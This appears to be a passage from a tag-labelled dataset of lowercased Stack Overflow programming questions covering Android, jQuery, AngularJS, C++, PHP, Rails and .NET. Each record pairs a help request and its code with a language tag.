... );             pdialog.setindeterminate(false);             pdialog.setcancelable(true);             pdialog.show();         }          @override         protected boolean doinbackground(void... arg0) {             upd();             return null;          }          @override         protected void onpostexecute(boolean result) {             super.onpostexecute(result);             pdialog.dismiss();             yess();         }     }   }     package com.example.cann;  import java.util.arraylist; import java.util.hashmap;  import com.squareup.picasso.picasso;  import android.content.context; import android.view.layoutinflater; import android.view.view; import android.view.viewgroup; import android.widget.baseadapter; import android.widget.imageview; import android.widget.textview;  public class categorylistadapter extends baseadapter {     private context mcontext;     layoutinflater inflater;     private final arraylist&lt;hashmap&lt;string  string&gt;&gt; urls;     hashmap&lt;string  string&gt; resultp = new hashmap&lt;string  string&gt;();      public static final string category_logo_url =  http://10.0.2.2/demi.jpg ;      public categorylistadapter(context context              arraylist&lt;hashmap&lt;string  string&gt;&gt; items) {         mcontext = context;         urls = items;     }      @override     public int getcount() {         return urls.size();     }      @override     public object getitem(int position) {         return position;     }      @override     public long getitemid(int position) {         return getitem(position).hashcode();     }      @override     public view getview(int position  view convertview  viewgroup parent) {         textview category_name;         imageview category_logo;         textview item_count;         textview item_id;          inflater = (layoutinflater) mcontext                 .getsystemservice(context.layout_inflater_service);          view view = inflater.inflate(r.layout.custom_list_category  parent                  false);          resultp = urls.get(position);          category_name = (textview) view.findviewbyid(r.id.category_name);         category_logo = (imageview) view.findviewbyid(r.id.img_category_logo);         item_count = (textview) view.findviewbyid(r.id.songs_count);         item_id = (textview) view.findviewbyid(r.id.category_id);          category_name.settext(resultp.get(categoryactivity.tag_name));         item_count.settext(resultp.get(categoryactivity.tag_categories_count));         item_id.settext(resultp.get(categoryactivity.tag_id));          // picasso image loader library starts here         picasso.with(mcontext)                 .load(category_logo_url                         + resultp.get(categoryactivity.tag_categories_logo)) // photo url                 .placeholder(r.drawable.placeholder) // this image will be displayed while photo url is loading                 .error(r.drawable.error) // if error shows up during downloading                 .fit().centercrop() // settings                 .into(category_logo); // we put it into our layout component (imageview)          return view;     }  } </code></pre>   and it gives me errors   <pre><code>09-09 09:51:18.549: i/choreographer(1476): skipped 42 frames!  the application may be doing too much work on its main thread. 09-09 09:51:20.299: w/dalvikvm(1476): threadid=11: thread exiting with uncaught exception (group=0xb1a59ba8) 09-09 09:51:21.049: e/androidruntime(1476): fatal exception: asynctask #1 09-09 09:51:21.049: e/androidruntime(1476): process: com.example.cann  pid: 1476 09-09 09:51:21.049: e/androidruntime(1476): java.lang.runtimeexception: an error occured while executing doinbackground() 09-09 09:51:21.049: e/androidruntime(1476):     at android.os.asynctask$3.done(asynctask.java:300) 09-09 09:51:21.049: e/androidruntime(1476):     at java.util.concurrent.futuretask.finishcompletion(futuretask.java:355) 09-09 09:51:21.049: e/androidruntime(1476):     at java.util.concurrent.futuretask.setexception(futuretask.java:222) 09-09 09:51:21.049: e/androidruntime(1476):     at java.util.concurrent.futuretask.run(futuretask.java:242) 09-09 09:51:21.049: e/androidruntime(1476):     at android.os.asynctask$serialexecutor$1.run(asynctask.java:231) 09-09 09:51:21.049: e/androidruntime(1476):     at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1112) 09-09 09:51:21.049: e/androidruntime(1476):     at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:587) 09-09 09:51:21.049: e/androidruntime(1476):     at java.lang.thread.run(thread.java:841) 09-09 09:51:21.049: e/androidruntime(1476): caused by: android.view.viewrootimpl$calledfromwrongthreadexception: only the original thread that created a view hierarchy can touch its views. 09-09 09:51:21.049: e/androidruntime(1476):     at android.view.viewrootimpl.checkthread(viewrootimpl.java:6094) 09-09 09:51:21.049: e/androidruntime(1476):     at android.view.viewrootimpl.invalidatechildinparent(viewrootimpl.java:857) 09-09 09:51:21.049: e/androidruntime(1476):     at android.view.viewgroup.invalidatechild(viewgroup.java:4320) 09-09 09:51:21.049: e/androidruntime(1476):     at android.view.view.invalidate(view.java:10935) 09-09 09:51:21.049: e/androidruntime(1476):     at android.view.view.invalidate(view.java:10890) 09-09 09:51:21.049: e/androidruntime(1476):     at android.widget.abslistview.resetlist(abslistview.java:1937) 09-09 09:51:21.049: e/androidruntime(1476):     at android.widget.listview.resetlist(listview.java:521) 09-09 09:51:21.049: e/androidruntime(1476):     at android.widget.listview.setadapter(listview.java:462) 09-09 09:51:21.049: e/androidruntime(1476):     at com.example.cann.categoryactivity.upd(categoryactivity.java:122) 09-09 09:51:21.049: e/androidruntime(1476):     at com.example.cann.categoryactivity$loadcomments.doinbackground(categoryactivity.java:147) 09-09 09:51:21.049: e/androidruntime(1476):     at com.example.cann.categoryactivity$loadcomments.doinbackground(categoryactivity.java:1) 09-09 09:51:21.049: e/androidruntime(1476):     at android.os.asynctask$2.call(asynctask.java:288) 09-09 09:51:21.049: e/androidruntime(1476):     at java.util.concurrent.futuretask.run(futuretask.java:237) 09-09 09:51:21.049: e/androidruntime(1476):     ... 4 more </code></pre>,android
angularjs file download after $http.post success  i currently have a angular service where a request is sent to the backend to generate the file  the front end and backend both shares a request id to communicate for the task later.    after the file generation is done  the backend sends back a success flag with a download url of the  form api/filegenerator/requestid:/download   where when called  the file generated will be passed back.    how would i do it so that when $http.post(...).success() is called  i can just directly call that download link without user interaction  (no download button or anything in the html),angularjs
what are the input parameters and return type sbgetscreenlockstatus in ios springboard framework   what are the input parameters and return type sbgetscreenlockstatus in ios springboard framework,ios
onclick event for textbox in csharp form application  i m creating form application on c# . i have dragged a textbox with some text in it.   <pre><code>    private void textbox1_click(object sender  eventargs e)     {       } </code></pre>   now what is the event for the <code>onlick on textbox1</code>       i need to add this on that function <code>textbox1.clear();</code>    p.s i searched everywhere. but all i can find is <code>jquery and javascripts</code>... no <code>c#</code>.    edit    i tried onfocus like below..but its not working   <pre><code>private void textbox1_onfocus(object sender  eventargs e)         {               messagebox.show( dsd );         } </code></pre>,c#
get random number between 400 and 480 in javascript  i am confused about <code>math.random()</code> in javascript in know that this function will return a number between <code>0</code> and <code>1</code>    i am trying to return a number between 400 and 500 and what i did is this :    <pre><code>var y = math.floor((math.random() * 400) + 100); </code></pre>   but this code may return a value of <code>100</code> or <code>200</code>  what is the best practice to create a number where the minimum is <code>n0</code> and maximum is <code>n1</code>,javascript
how to style a scroller using javascript  i have a site where on the sidebar i have some videos with a scrollbar (<a href= http://mibsoftware.us/clients/raveis  rel= nofollow noreferrer >http://mibsoftware.us/clients/raveis</a>)  i need to figure out how style this scrollbar so it can be a different color  etc. what is best way to do this  any help would be greatly appreciated.    the scroller is inside a div,javascript
where to put const in the class of objective c  if i put a const to the objective c class    <pre><code>@implementation class_a     const nsstring* tag=@ class_a ; @end </code></pre>   i found const tag become global variable. and i cannot put two @implementation  each which has a tag  in one .m file   <pre><code>@implementation class_a     const nsstring* tag=@ class_a ; @end  @implementation class_b     const nsstring* tag=@ class_b ;  (error) @end </code></pre>   i would like tag to link to each class with different name. where will i put the const nsstring* tag=@ class_a  and  tag=@ class_b  in the class     i also tried this  but got errors.     <pre><code>@implementation class_a {     const nsstring* tag=@ class_a ;  (error) } @end </code></pre>,objective-c
.htaccess url rewrite getting the information after domain name  i am trying to use .htaccess url rewrite to transform the url:-    before: <a href= http://mydomain.com/en/home  rel= nofollow >http://mydomain.com/en/home</a>    after: <a href= http://mydomain.com/index.php page=en/home  rel= nofollow >http://mydomain.com/index.php page=en/home</a>    i know at .htaccess level  i shall prepare these:-   <pre><code>rewriteengine on rewritebase / rewriterule ^$ index.php page=$x [l] </code></pre>   but i have no idea on how to put en/home into $x and put it to the after version.,php
jquery - select option  i have 2 buttons that fire the same form which appears over the page. i would like a dropdown option to change depending on which button is fired.    what am i doing wrong    <pre><code>var settings = $(this).attr( rel ); $( select[@name= menu ] option[@value=  +settings+  ] ).attr( selected   selected ); </code></pre>   error   <blockquote>    error: uncaught exception: syntax error  unrecognized expression:[@value= footer ]  </blockquote>,jquery
unable to solve validation error  in jquery i tried:   <pre><code>$( #imgadd ).live( click   function() {     if ($( #txtname ).val() ==   ) {         $( #lblerror ).show();         $( #lblerror ).text() =  please enter a  name ;         $( #txtmenuname ).focus();     }     return false; }  </code></pre>   but i got a error in console.   <blockquote>    invalid assignment left-hand side<br>   $( #lblerror ).text() =  please enter a menu name ;  </blockquote>   i also want if text is entered in field automatically <code>lblerror</code> is hide. how do i achieve this,jquery
drag view within the view parent  i am developing android application and i need to drag a view vertically with in the view parent. dragging is working but i can t restrict the drag with in the parent.   <pre><code>subparent = findviewbyid(r.id.subparent);         findviewbyid(r.id.hello).setontouchlistener(new view.ontouchlistener() {             int prevx  prevy;              @override             public boolean ontouch(final view v  final motionevent event) {                 final relativelayout.layoutparams par = (relativelayout.layoutparams) v.getlayoutparams();                 final relativelayout.layoutparams init = (relativelayout.layoutparams) subparent.getlayoutparams();                  switch (event.getaction()) {                     case motionevent.action_move: {                          int[] location = new int[2];                         int[] locationinit = new int[2];                         v.getlocationonscreen(location);                         subparent.getlocationonscreen(locationinit);                         int y = location[1];                         int yinit = locationinit[1];                         if (y &gt;= yinit) {                             par.topmargin += (int) event.getrawy() - prevy;                             prevy = (int) event.getrawy();                              prevx = (int) event.getrawx();                              v.setlayoutparams(par);                         } else {                             v.setlayoutparams(par);                         }                         system.out.println( y position :  + y);                         system.out.println( yinit position :  + yinit);                         return true;                     }                     case motionevent.action_up: {                         par.topmargin += (int) event.getrawy() - prevy;                          v.setlayoutparams(par);                         return true;                     }                     case motionevent.action_down: {                          prevx = (int) event.getrawx();                         prevy = (int) event.getrawy();                         par.bottommargin = -2 * v.getheight();                          v.setlayoutparams(par);                         return true;                     }                 }                 return false;             }         }); </code></pre>   my xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:id= @+id/parent      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical      tools:context= .mainactivity &gt;      &lt;relativelayout         android:id= @+id/subparent          android:layout_width= 100dp          android:layout_height= 400dp          android:layout_centerinparent= true          android:background= @android:color/darker_gray          android:gravity= center &gt;          &lt;textview             android:id= @+id/hello              android:layout_width= wrap_content              android:layout_height= wrap_content              android:background= @color/colorprimary              android:padding= 20dp              android:text= hello world!              android:textcolor= #fff  /&gt;     &lt;/relativelayout&gt; &lt;/relativelayout&gt; </code></pre>   i am dragging the <code>textview</code> but cannot limit it to drag with in the subparent relative layout. it drags all over the screen.,android
sql statements for finding percentage on multiple values  i have three tables that hold items like:   <pre><code>products:   id   name     category   stock    1   bolts      3          1    2   daisies    4          1    3   milk       5          2    4   washers    3          3    5   roses      4          1  categories:   id  description    3  hardware    4  plants    5  food  stocks:   id description    1 in stock    2 out of stock    3 ordered </code></pre>   i ve been banging my head to get an sql statement that will return a percentage of my items that are in stock based on their category  but i just can t make it work.    i m looking for a statement that will return something like:   <pre><code>category    percentage   // comments hardware      50         // bolts in stock but washers are ordered plants       100         // all plants in stock food           0         // milk is out of stock </code></pre>   any ideas...,mysql
hide line of descriptive list  the following is my situation:    i have a page that is dynamically created with a descriptive list of texts with accompanying checkboxes.    i can check whether a checkbox is created through it having the attribute of  checked  when a page is loaded. such a checkbox is always situated in a &lt; dd >-element with an accompanying &lt; dt >-element.    can i remove/hide this line of dd &amp; dt without any other identifying aides like id s or classes by using js or jquery      see a code-example below for clarification of the piece of the list i wand to hide if checked= checked  for the input:   <pre><code>&lt;dt&gt;some descriptive text&lt;/dt&gt; &lt;dd&gt;     &lt;input disabled= disabled  type= checkbox  name= somename  checked= checked &gt; &lt;/dd&gt; </code></pre>,html
casting list<someclass> to list<object>  can we cast <code>list&lt;someclass&gt;</code> in to <code>list&lt;object&gt;</code> int .net.,.net
asp.net machinekey  validationkey  and decryptionkey - key lengths  what are the default key lengths that are generated when leaving the validationkey and decryptionkey at their defaults    for example:   <pre><code>&lt;machinekey decryptionkey= autogenerate isolateapps  validationkey= autogenerate isolateapps  ... /&gt; </code></pre>   i have not been able to find this documented anywhere on msdn. i would like to generate a static machine key and keep it in line with the defaults.,asp.net
polymorphic association: nomethoderror  nomethoderror in postscontroller#create undefined method `posts  for nil:nilclass    posts#controller   <pre><code>class postscontroller &lt; applicationcontroller     # before_action :logged_in_user  only: [:create  :destroy]     before_action :correct_user    only: :destroy     before_action :find_postable  except: [:index]      def index         @posts = post.all.order( created_at desc )     end      def new         @post = post.new     end      def create         @post = @postable.posts.new post_params          if @post.save             redirect_to :back  notice:  your comment was successfully posted!          else             redirect_to :back  notice:  your comment wasn t posted!          end     end      def destroy         post.find(params[:id]).destroy         redirect_to posts_path#  notice:  post successfully deleted      end      def edit         @post = post.find(params[:id])     end      def update         @post = post.find(params[:id])         if @post.update_attributes(student_params)             redirect_to post_path         else              redirect_to edit_post_path         end     end      def show         @post = post.find (params[:id])     end       private      def post_params       params.require(:post).permit(:content  :image  :document  :audio  :video  :classroom_id)     end      def correct_user       @post = current_user.posts.find_by(id: params[:id])       redirect_to root_url if @post.nil      end      def find_postable       @postable = post.find_by_id(params[:post_id]) if params[:post_id]       @postable = classroom.find_by_id(params[:classroom_id]) if params[:classroom_id]     end </code></pre>   here is the post model   <pre><code>class post &lt; activerecord::base   belongs_to :user    belongs_to :classroom    belongs_to :postable  polymorphic: true   has_many :posts  as: :postable end </code></pre>   here is the classroom model (it belongs to the class and this is selected in the new post form    <pre><code>class classroom &lt; activerecord::base   has_many :posts  as: :postable   belongs_to :teachers   # belongs_to :students </code></pre>   posts in schema.rb   <pre><code>create_table  posts   force: :cascade do |t|     t.text      content      t.integer   user_id      t.datetime  created_at              null: false     t.datetime  updated_at              null: false     t.integer   classroom_id      t.integer   postable_id      t.string    postable_type    end </code></pre>   i ve tried many things with no success  i m not quite sure why i m getting this error. i m following a video and trying to apply it to my existing post model but am still having trouble. thanks    new post form:   <pre><code>&lt;%= form_for :post  html: { multipart: true  class:  post-form  }  url: posts_path do |f| %&gt;    &lt;h4&gt;choose a classroom&lt;/h4&gt;   &lt;div class= form-group &gt;     &lt;%= f.collection_select :classroom_id  current_user.classrooms  :id  :name %&gt;   &lt;/div&gt;   &lt;h4&gt;write a post&lt;/h4&gt;   &lt;div class= form-group &gt;     &lt;%= f.text_area :content  class:  form-control  %&gt;   &lt;/div&gt;   &lt;h4&gt;attach files&lt;/h4&gt;   &lt;div class= form-group &gt;     &lt;%= f.file_field :image %&gt;   &lt;/div&gt;   &lt;%= f.submit  add post   class:  btn btn-primary  %&gt; &lt;% end %&gt; </code></pre>   for a post reply   <pre><code>&lt;li&gt;   &lt;%= post.content %&gt; -    &lt;%= form_for [post  post.new] do |f| %&gt;       &lt;%= f.text_area :content  placeholder:  add a reply  %&gt;&lt;br/&gt;       &lt;%= f.submit  reply   %&gt;       &lt;% end %&gt;  &lt;/li&gt; </code></pre>,ruby-on-rails
how to select textboxes that have a length > 0 with jquery   how would i write a selector that would look through say a div of textboxes and find which ones have a value in the textbox(so length would be greater than zero).    can i do this all in one selector or do i have to get all textboxes then loop through them,jquery
<<name of method>>  was not declared in this scope  i want to independently overload <code>operator+</code> to concatenate 2 double chained lists. my idea is to obtain the address of the first element from the first list and the address of the first element from the second list.     in <code>doublechainedlist</code> class  except the constructor  destructor and the next 4 methods which are working fine  i made a method called <code>get_prim</code> which is supposed to get me the address of the first element from the specified list. then  using the method <code>get_current</code> i want to move through the first list until it ends while adding in the third list the elements  and then apply the same principle to the second list.     but i have a problem  i get   <pre><code> get_prim  was not declared in this scope </code></pre>   and    <pre><code> get_current  was not declared in this scope </code></pre>   at the bolded tagged lines (see the code below) when i compile. what am i missing    <pre><code>#include &lt;iostream&gt; #include &lt;stdlib.h&gt; using namespace std;  //create node class class node { private:     float value;              node *back;             node *next;        public:     node *set_value (node *x  float element) { x-&gt;value=element; return x; }     float get_value (node *x) { return x-&gt;value; }     node *set_back (node *x) { return x-&gt;back; }     node *set_next (node *x) { return x-&gt;next; }     node *set_back_nod (node *x  node *y) { x-&gt;back=y; return x; }     node *set_next_nod (node *x  node *y) { x-&gt;next=y; return x; }     void next_to_2next (node *x) { x-&gt;next=x-&gt;next-&gt;next; }     void next_back_to_origins (node *x) { x-&gt;next-&gt;back=x; } };  //create list class class doublechainedlist : public node { private:     node *prim;            node *ultim;     public:     doublechainedlist() { prim=null; ultim=prim; }           //constructor     ~doublechainedlist();                                    //destructor     void insert_back(float element);                         //inserts an element at the end of the list     void delete_element_from_position(int delete_position);  //deletes from the list the element whose position is equal to  delete_position      void show_left_right();                                  //shows the list from the first element to the last one     void show_right_left();                                  //shows the list from the last element to the first one     nod *get_prim (doublechainedlist mylist) { return this-&gt;prim; };    //intended to obtain the address of the first element from  mylist      nod *get_current (node *x) { return set_next(x); };                  //intended to move me through the list };  doublechainedlist operator+ (doublechainedlist mylist1  doublechainedlist mylist2) {     doublechainedlist mylist3;     nod *current1 *current2;     current1=get_prim(mylist1); // error over here!     current2=get_prim(mylist2);     cout&lt;&lt;get_value(current1)&lt;&lt;   ; // error over here!     cout&lt;&lt;get_value(current2)&lt;&lt;   ;     return mylist3; }  int main() {     int i number_elem_mylist1 number_elem_mylist2 element;     doublechainedlist mylist1 mylist2 mylist3;     cin&gt;&gt;number_elem_mylist1;     for (i=0;i&lt;number_elem_mylist1;i++)     {         cin&gt;&gt;element;         mylist1.insert_back(element);     }     cin&gt;&gt;number_elem_mylist2;     for (i=0;i&lt;number_elem_mylist2;i++)     {         cin&gt;&gt;element;         mylist2.insert_back(element);     }     mylist3=mylist1+mylist2;     return 0; } </code></pre>,c++
replace a character in string without using replace function in .net  please can anyone advise me on how i can replace a particular character from a 2  mb string without using replace function in .net    thanks,.net
segmentation fault when calling crypt function in c  i pass the argument arturo $1$salt$ and i get a segmentation fault (core dumped) error.   <pre><code>#define _xopen_source #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt;  int main (int argc  char* argv[]) {     if ( argc != 3) {         printf ( usage: ./crypt key salt\n );         return 1;     }      printf ( %s\n   crypt (argv[1]  argv[2]));      return 0; } </code></pre>,c
reference a namespace in ascx  i have added namespace in web.config pages section. can use it in aspx not in ascx. what should i do      update: have added system.web.security with import directive but still can t see user class in intellisense why      thanks.,asp.net
c++ program to fold constants  i am writing a function in c++11 which takes expressions of the form <code>constant1 + constant2</code> and folds them. <code>constant1</code> and <code>constant2</code> are stored in a <code>std::string</code> and their types are stored in an <code>enum typeenum</code>.     my attempt is as follows:    <strong>program :</strong>     <pre><code>#include&lt;iostream&gt; #include&lt;assert.h&gt; #include&lt;string&gt;  using namespace std;  enum typeenum {     int  long_int  long_long_int      unsigned_int  unsigned_long_int  unsigned_long_long_int };  long long fold(string constant1  string constant2                  typeenum typeconst1  typeenum typeconst2){      if(typeconst1 == int){         if(typeconst2==int)             return stoi(constant1) + stoi(constant2);         if(typeconst2 == long_int)             return stoi(constant1) + stol(constant2);         if(typeconst2 == long_long_int)             return stoi(constant1) + stoll(constant2);         if(typeconst2 == unsigned_int)             return stoi(constant1) + stol(constant2);         if(typeconst2 == unsigned_long_int)             return stoi(constant1) + stoul(constant2);         if(typeconst2 == unsigned_long_long_int)             return stoi(constant1) + stoull(constant2);     }else if(typeconst1 == long_int){         //...     }else if(typeconst1 == long_long_int){         //...     }else if(typeconst1 == unsigned_int){         //...     }else if(typeconst1 == unsigned_long_int){         //...     }else if(typeconst1 == unsigned_long_long_int){         //...     }      assert(false); } int main(){     cout &lt;&lt; fold( 1   9223372036854775806  int long_long_int) &lt;&lt; endl;     cout &lt;&lt; fold( 1   2147483647  int int) &lt;&lt; endl;      return 0; } </code></pre>   <strong>output:</strong>    9223372036854775807    -2147483648    as you can see  the function <code>fold</code> has become really messy and long. i would like to know if there are better ways to do this.,c++
setting a selected option from controller in angularjs  i am using angularjs to make a search page where the user can use filters to search for the items they want. if the user leaves this page and then comes back  i want the select tag to display what they had before. for example if the user filters out the items with a minimum price of $0 and then leaves the page but comes back to it  i want the select tag to display $0. this is my html...   <pre><code>            &lt;p&gt;&lt;b&gt; minimum price: &lt;/b&gt;                 &lt;select class= form-control  style= width:30%  data-ng-model= minprice  ng-options= number for number in price track by number &gt;                 &lt;/select&gt;             &lt;/p&gt; </code></pre>   and this is my controller ...   <pre><code>    $scope.search = function() {          if( $scope.minprice ==  none ) {             $scope.minprice =   ;         }           // get the search query         $http.get( http://localhost:8080/realestate/houselisting/filter   +  minprice=  + $scope.minprice +  &amp;maxprice=  + $scope.maxprice +  &amp;bedstotal=  + $scope.beds +  &amp;bathstotal=  + $scope.baths)         .success(function(response) {             $scope.result = response;             alert($scope.result);              sessionstorage.minprice = $scope.minprice;             sessionstorage.result = true;         })     }      if(sessionstorage.result != null) {          // restore the last search         $scope.minprice = sessionstorage.minprice;         $scope.search();      } else { </code></pre>   i ve shortened the code to make it easier to read but to be precise  i want the select tag to show the option that the user chose before. i ve saved the value into a sessionstorage and then tried to restore it when the page is loaded if it exists but the select tag doesnt show anything.,angularjs
jquery calculation  i am using jquery calculation to do a sum on one of my client pages. simple calculation is working fine but i have to integrate an add and remove button with the input tags. as in instead of manually entering a number client wants to use add and remove button to increase and decrease the value of the product and eventually adding up to the totalsum.     hoping someone can help me with this as i am not yet an expert in jquery. :)    here the html code   <pre><code>&lt;div class= amount &gt;                 &lt;input type= text  class= count   name= totalsum  id= totalsum  value=   size= 2  readonly= readonly &gt;                      &lt;/div&gt;        &lt;div class= clearfix &gt;&lt;/div&gt;&lt;!--please do not delete this div--&gt;     &lt;!--case 1--&gt;            &lt;div class= bottle_in_case &gt;                 &lt;div class= addremove &gt;                 &lt;input type= text  value= 2  class= count  maxlength= 2  name= case  id= case_1 &gt; bottles                 &lt;p class= add_remove_btns &gt;&lt;a href= # &gt;&lt;img src= images/add.gif  alt=  &gt; add&lt;/a&gt; / &lt;a href= # &gt;&lt;img src= images/remove.gif  alt=  &gt; remove&lt;/a&gt;&lt;/p&gt;             &lt;/div&gt;     &lt;/div&gt;      &lt;!--case 2--&gt;            &lt;div class= bottle_in_case &gt;          &lt;div class= addremove &gt;                 &lt;input type= text  value= 2  class= count  maxlength= 2  name= case  id= case_2 &gt; bottles                 &lt;p class= add_remove_btns &gt;&lt;a href= # &gt;&lt;img src= images/add.gif  alt=  &gt; add&lt;/a&gt; / &lt;a href= # &gt;&lt;img src= images/remove.gif  alt=  &gt; remove&lt;/a&gt;&lt;/p&gt;             &lt;/div&gt;     &lt;/div&gt;      &lt;!--case 3--&gt;            &lt;div class= bottle_in_case last &gt;              &lt;div class= addremove &gt;                 &lt;input type= text  value= 2  class= count  maxlength= 2  name= case  id= case_3 &gt; bottles                 &lt;p class= add_remove_btns &gt;&lt;a href= # &gt;&lt;img src= images/add.gif  alt=  &gt; add&lt;/a&gt; / &lt;a href= # &gt;&lt;img src= images/remove.gif  alt=  &gt; remove&lt;/a&gt;&lt;/p&gt;             &lt;/div&gt;     &lt;/div&gt; </code></pre>   the script i have used is    <pre><code>$( input[name^= case ] ).sum(); </code></pre>   $( input[name^=case] ).sum( keyup    #totalsum );    thanks in advance    neha,jquery
supressing warning for a class (trying to simulate an abstract class in objc)  this is the situation. i ve been a c++ programmer for ages. i like abstract classes and  interfaces  so i would likt to do the same using objc.    i use a protocol for my interfaces  but the problem is that when my abstract class inherits from the protocol (i don t want to implement it here) i get warnings like:    warning: method definition for  xxxxx  not found and  xxxxx  class does not fully implement the  xxxxxx  protocol.    is there anyway to supress this  i hope child classes of this ones will throw  correct warnings  if base class did not implemented the protocol.    another option is to inherit from the protocol just when needed  but i like to force this in the base class to make sure inherited implementes the interface.    any tip   thanks in advance.,objective-c
ruby on rails paths and routes  i m trying to get the hang of basic rails routing. i have a model called page which i generated with a scaffold. i have added a method called addchild which i would like to access through   <pre><code> pages/addchild/:id  </code></pre>   so far so good.  however  i want to set up a link to this method like so:   <pre><code>&lt;%= link_to  add child page   addchild_page_path(page) %&gt; </code></pre>   passing the id of the current page as a parameter.    when i load my index view (where the link is)  i get the following message:   <pre><code>undefined local variable or method `addchild_page_path  for    #&lt;actionview::base:0xb67797d0&gt; </code></pre>   have i misunderstood how the path/link_to method works     my routes file looks like this:   <pre><code>  map.resources :pages   map.connect  :controller/:action/:id    map.connect  :controller/:action/:id.:format  </code></pre>   any advice would be greatly appreciated.    thanks.,ruby-on-rails
.net value types  please look at : <a href= http://msdn.microsoft.com/en-us/library/34yytbws.aspx  rel= nofollow noreferrer >http://msdn.microsoft.com/en-us/library/34yytbws.aspx</a>    in there  i read : <strong>value types can have fields  properties  and events.</strong>    i know what properties and events mean but what does fields mean     (this in preparation for mcpd certification),.net
polygon map with links not working in ie or edge  i have a polygon map setup that works fine with chrome but not with ie or edge. in those browsers only a couple of the links actually work. here s my code:   <pre><code>&lt;img src= map for web - master - effective 03-16-16.jpg  width= 1126  height= 718  alt= territory map  usemap= #map  /&gt; &lt;map name= map &gt;`&lt;area shape= poly  coords= 1005  313  1019  315  1022  291  1090  258  1071  234  1119  161  1076  104   1056  109  1047  131  1033  175  1002  188  1017  271  985  274  994  289  993  304    href= ../contact/49 manning and associates.html  alt= manning and associates /&gt; &lt;area shape= poly  coords= 914  341  914  352  934  345  943  352  953  350  964  355  962  366  979  375  995  398  1021  314  1002  315  994  305  995  289  983  273  943  280  945  336  href= ../contact/50 power component sales.html   alt= power component sales /&gt; &lt;area shape= poly  coords= 706  593  722  594  763  592  771  583  766  571  815  569  818  550  902  555  909  540  851  466  830  466  881  425  752  429  751  436  727  433  721  440  717  442  710  435  619  432  618  504  629  510  628  517  689  521  693  535  679  568  718  570  718  580  href= ../contact/51 clifford sales.html  alt= clifford sales /&gt; &lt;area shape= poly  coords= 456  256  555  270  564  278  571  274  591  285  602  331  675  334  685  341  695  344  707  355  761  356  761  303  755  286  755  262  766  215  826  189  815  182  799  182  798  174  775  178  771  184  761  183  753  175  738  176  759  160  745  158  725  174  700  180  703  174  678  181  717  148  661  132  653  135  637  128  631  113  626  120  476  107  href= ../contact/52 industrial component sales.html  alt= industrial component sales /&gt; &lt;area shape= poly  coords= 530  111  628  121  629  112  631  95  631  27  655  1  539  1   href= ../contact/73 techno-rep.html  alt= techno-rep /&gt; &lt;/map&gt; </code></pre>   what am i missing,html
php : $this->methodcall() gives error and calledclass:methodcall() works fine  i am trying to call method <code>getdetails()</code> from another class which in turns calls to methods from its own class(i.e  called class) and it does so by     <code>$this-&gt;getaccount()</code> and <code>$this-&gt;getaddress()</code> and in called class we have methods like <code>$this-&gt;getaccount()</code> and <code>$this-&gt;getaddress()</code> function but when i call     them i get fatal error message as call to undefined method  but when i try calling that method using <code>calledclassname::getaddress()</code> and     <code>calledclassname::getaddress()</code> than it works fine.    my question is that class which am calling(i.e  calledclass ) will always have use <code>$this-&gt;getaddress()</code> and <code>$this-&gt;getaccount()</code> as am getting this class     information from other team and there are 3 teams that would be calling functions <code>getdetails()</code> which would internally call <code>getaccount()</code> and <code>getaddress()</code>     functions and so how should i deal with the issue of $this on myside when am calling <code>getdetails()</code> function.     code example   <pre><code>calling class:   calledclass::getdetails() // call to getdetails function in calledclass   calledclass::   public function postaladdress() {  return array(     addressid  =&gt; $address-&gt;addressid      city  =&gt; $address-&gt;city      country  =&gt; $address-&gt;country      postcode  =&gt; $address-&gt;postcode      stateorprovince  =&gt; $address-&gt;stateorprovince      street  =&gt; $address-&gt;streetname      streetnumber  =&gt; $address-&gt;streetnrfirst      streetsuffix  =&gt; $address-&gt;streetnrfirstsuffix   ); };  public function getaddress() {  return $this-&gt;postaladdress(); }  public function setaccount($account) {  $this-&gt;account = $account; }  public function getaccount() {  return $this-&gt;find( account = 1311143    ); }     public function getdetails()     {       $data = array();      $data[$address] = $this-&gt;getaddress();      $data[$account] = $this-&gt;getaccount();      return $data;     } </code></pre>   so now using the above method it gives me error and so if am using <code>calledclass::getaddress()</code> and <code>calledclass::getaccount()</code> and it works fine but i cant chang e the code in the calledclass as am calling this function from another team.     any guidance or suggestions,php
how can i use the (this) to target a class with slidetoggle jquery   i need to understand how (this) works. i have seen many different cases and instances where it is used  but used differently. i want to target only one div out of several that has the class name.  i can t seem to get this to work properly. i ve read several answers in stackoverflow  but still can t seem to target one class using (this). thanks yet again for helping me.     the js   <pre><code>&lt;script type= text/javascript &gt;   jquery(document).ready(function(){      jquery( .expandcollapsemenu ).click(function(){       jquery(this).parent().find( .menu_product_main_container ).slidetoggle();     });   }); &lt;/script&gt; </code></pre>   the html   <pre><code>&lt;div class= menu_category_category &gt;     &lt;h3 class= basic_catolog &gt;beverages&lt;/h3&gt;             &lt;div class= toggle_menu &gt;         &lt;img alt=   style= border: 0px none;  src= /images/icons/collapse_menu_icon_on.png  class= expandcollapsemenu {src:  /images/icons/expand_menu_icon.png }  /&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= menu_product_main_container &gt;     &lt;p&gt;menu item 1&lt;/p&gt;     &lt;p&gt;menu item 2&lt;/p&gt; &lt;/div&gt; &lt;div class= menu_category_category &gt;     &lt;h3 class= basic_catolog &gt;lunch&lt;/h3&gt;     &lt;div class= toggle_menu &gt;     &lt;img alt=   style= border: 0px none;  src= /images/icons/collapse_menu_icon_on.png  class= expandcollapsemenu {src:  /images/icons/expand_menu_icon.png }  /&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= menu_product_main_container &gt;     &lt;p&gt;lunch item 1&lt;/p&gt;     &lt;p&gt;lunch item 2&lt;/p&gt; &lt;/div&gt; </code></pre>,jquery
memory allocation in java  explain the memory allocation in java for a written program.,java
my application crashes on device  i am new to iphone development and currently i am working on client server applications but the application run and work good on simulator but when i try it on device then the application crash after some times .now i dont know why this will happend because i release every object which are decalre with alloc or init.but still crash on device . my application are like (rate my puppy application)which are store on apple store . please help me if any one have the solutions .,objective-c
